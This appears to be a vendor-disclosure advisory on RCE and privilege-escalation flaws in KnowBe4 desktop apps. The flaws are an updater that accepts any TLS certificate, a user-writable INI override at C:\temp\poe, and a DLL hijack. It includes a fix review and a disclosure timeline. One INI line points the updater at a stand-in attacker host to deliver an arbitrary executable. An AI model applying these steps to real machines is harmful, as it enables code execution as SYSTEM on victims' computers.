Writer
Introduction
Our latest investigation has uncovered significant security flaws in three KnowBe4 applications- Phish Alert Button, PasswordIQ, and Second Chance. These applications, commonly used in security awareness and training, were found to have vulnerabilities allowing remote command execution (RCE) and local privilege escalation (LPE). Unusually the RCE exposed workers to compromise over Wi-Fi making it a feasible coffee shop attack vector.
TL;DR:
- Three KnowBe4 applications (Phish Alert Button, PasswordIQ, and Second Chance) were vulnerable to remote command execution (RCE) and local privilege escalation (LPE) vulnerabilities.
- Through not understanding DNS hijack, KnowBe4 reported the CVSS scores to NIST with far too low scores.
- This creates an interesting attack vector over, for example, Wi-Fi at a coffee shop. As a result of having the KnowBe4 apps installed on a laptop, the client was thus exposed to remote code execution vulnerabilities.
- This is interesting in itself, as Wi-Fi hotspot attacks other than this are now largely mitigated through O/S design,
- KnowBe4 initially down-scored the vulnerability significantly, due to not understanding that DNS hijack can be achieved through methods other than router compromise.
- Despite us raising concerns about this with the vulnerability management team, it was not until we escalated these concerns to the CEO of KnowBe4 that a fix was accelerated.
- We reviewed their initial fix and flagged that it may not be effective. Regardless of that KnowBe4 pushed it to their clients anyway, thus creating a further LPE vulnerability.
- Another fix was then pushed.
The CVSS scores quoted by NIST are incorrect, we believe as a result of KnowBe4 not updating them in the original CVE application, which was based on their incorrect perception that hijack of the router was required in order to have control of DNS.
CVE-2024-29209 – Hijack of automatic upgrade process through DNS spoofing
CVSS: 8.3 (High)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Products:
- Phish Alert Button versions 1.10.0 – 1.10.11
- PasswordIQ versions 1.0.0 – 1.0.15
- Second Chance versions 2.0.0 – 2.0.9
CVE-2024-29210 – Hijack of automatic upgrade process through configuration file
CVSS: 7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Products:
- Phish Alert Button versions 1.10.0 – 1.10.11
- PasswordIQ versions 1.0.0 – 1.0.15
- Second Chance versions 2.0.0 – 2.0.9
Potential Privilege Escalation through DLL hijack
CVSS: 7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Products:
- Phish Alert Button versions < 1.10.14
- PasswordIQ versions < 1.0.18
- Second Chance versions < 2.0.12
- ADI Sync versions < 1.10.2
Description
Three KnowBe4 applications (Phish Alert Button, PasswordIQ, and Second Chance) are vulnerable to remote command execution (RCE) and local privilege escalation (LPE) vulnerabilities.
These vulnerabilities could allow a malicious user who can intercept and alter traffic or has local access to execute arbitrary code or to escalate privileges.
A local user can also use the software to escalate privileges though a DLL hijack.
Detailed analysis
CVE-2024-29209 – Hijack of automatic upgrade process through DNS spoofing
Due to lack of server TLS certificate validation, an attacker positioned to spoof DNS queries or intercept web traffic can redirect the automatic update component of the software to an attacker controlled server.
Malicious executables can then be delivered to the update component and executed under the privileged SYSTEM user. The RCE is registered under CVE-2024-29209. Details of affected versions and remediation steps can be found here: CVE-2024-29209 – Knowledge Base (knowbe4.com)
Technical details
The KnowBe4 software installs a privileged backend service called poemanager. This service is tasked with automatically updating the software in the background. It will check for updates once a day.
Poemanager is a simple service application that spawns a process called poeupdater once the 24-hour timeout expires. It is within the poeupdater process that the vulnerabilities exist.
One of the methods within the update process is a generic method called ApiCall. This sets the .NET HttpClientHandler class to accept all TLS certificates, including those that would otherwise be untrusted by the operating system.
One of the API calls, made to https://api.updates.knowbe4.com/v1/updates, checks for newer versions of the software. If an attacker can poison DNS for the API endpoint hostname, malicious updates can be delivered to the vulnerable endpoint. The response to the updates API endpoint is a simple JSON payload which includes the URL of the exe to download and various other metadata helpful for the update process.
Only the MD5 value is checked on download, but providing it matches the delivered executable, execution will continue without issue.
CVE-2024-29210– Hijack of automatic upgrade process through configuration file
A similar exploit can be performed via a configuration override file that can be created by any unprivileged user logged on locally to the machine, leading to an LPE. The configuration file can specify an alternative URL for the update endpoint. Therefore no DNS spoofing is required, unlike the RCE. Details of affected versions and remediation steps can be found at CVE-2024-29210 – Knowledge Base (knowbe4.com)
Technical details
The attack for the LPE is similar to the RCE, but with slight differences on how the update EXE is hijacked.
Several parts of code within the poeupdater program were found to use an ini file to override certain program behaviour:
The path to the file, C:\temp\poe\ProductOverride.ini, would typically be writable by unprivileged users.
One of the ini override options was the Autoupdate_BaseUri option, which controls the URI used to fetch the update files. By creating an ini file at the correct location with the content below, an arbitrary update executable will be downloaded and executed:
Autoupdate_BaseUri=http://evilhost.com
Potential Privilege Escalation through DLL hijack
Another potential vulnerability existed where the downloaded update was written directly to C:\Windows\Temp and there could be a potential for DLL hijacking attacks via unprivileged users writing a dependant DLL to the same folder.
KnowBe4 released the updated without any changes. Once the official release had been rolled out, a video PoC was provided, demonstrating that it was possible to hijack the installer from a low privilege user account.
Video
There’s a video showing the scenario. Click the image below to open it another tab:
Further details of this advisory can be found at Security Enhancements for Protecting Against DLL Injection – 6/14/2024 – Knowledge Base (knowbe4.com).
No CVE has been issued for this vulnerability from KnowBe4. The security advisory suggests that the fix for the DLL hijack was an enhancement to the original CVE-2024-29210.
The fix
We had the opportunity to review the fix and it was clear that TLS server validation was still not implemented. The fix for CVE-2024-29209 was implemented via Authenticode signature checks against the downloaded executable. If the signer of the executable was untrusted (not KnowBe4), execution would not proceed.
The fix for CVE-2024-29210 was more robust. The location of the configuration file had moved to the installation folder of the software. Since only administrators can typically write to this location, the LPE was no longer possible.
KnowBe4 were advised that this was just one example of what attackers can achieve without TLS validation of API endpoints. KnowBe4 indicated that the software operated in this way due to requirements of some customers that implement TLS inspection. This broke TLS validation within some environment for the KnowBe4 software update component.
We advised that irrespective of this, TLS validation should not be disabled by default and should be a configuration option that a client can choose to disable with a warning.
Conclusion
As a security awareness training and product vendor, we believe that KnowBe4 should be held to a higher standard of product security. The irony of a security awareness product creating an easily exploited security vulnerability is not lost on us.
The initial interactions with KnowBe4 were positive and responsive, but went sideways when the vulnerability management team failed to understand that DNS hijack did not require router compromise. We explained this clearly to them, but they failed to change their criticality ratings or expedite a patch.
Nor did they alert their customers that the PAB and similar apps were remotely exploitable.
Only after escalation did any acceleration occur. Even then the fix was not fully effective, despite us highlighting the risk of that.
This is shame as KnowBe4 customers were exposed for a significant period of time. We hope that everyone can learn from this process.
Disclosure timeline
2024-02-29 Initial Disclosure and contact.
2024-03-06 Confirmation report sent to development team.
2024-03-13 Follow up email sent asking for estimated fix date.
2024-03-18 Response from KnowBe4 indicating that expected release date is May 5th due to low severity findings. Reply sent by us with concerns around the low priority since CVSS scores indicated high risk findings. We believe at this point that the KnowBe4 did not appreciate the feasibility of DNS cache attacks.
2024-03-20 Escalated to the KnowBe4 CEO, asking for the response to be reviewed urgently, given the exploitability of the issue.
2024-03-22 Due to concerns raised by us KnowBe4 explained the fixes and expedited the changes and released a QA version for review.
2024-03-26 Concerns around lack of TLS validation and possible DLL hijack raised with KnowBe4 with the proposed released. Concerns forwarded to development team.
2024-04-10 Follow up email sent regarding release of fixes. Response received indicating release during the week of 15 April 2024.
2024-04-17 Version 1.10.12 shipped.
2024-04-26 CVE-2024-29209 and CVE-2024-29210 applied.
2024-04-29 Advisories published on KnowBe4 website, undated.
2024-05-02 Email sent to KnowBe4 informing them the DLL hijack is still present and was now also proven.
2024-05-03 PoC requested for the DLL hijack.
2024-05-03 Video PoC sent to KnowBe4.
2024-05-09 Update requested on triage status of DLL hijack vulnerability.
2024-05-10 Further clarification of the attack scenarios requested by KnowBe4.
2024-05-11 Further details provided to KnowBe4.
2024-05-15 KnowBe4 now confirm successful triage of the vulnerability.
2024-06-17 Informed by KnowBe4 that version v1.10.14 of PAB had been released, fixing the DLL hijack.
2024-06-17 Requested CVE for the DLL hijack vulnerability. No response.
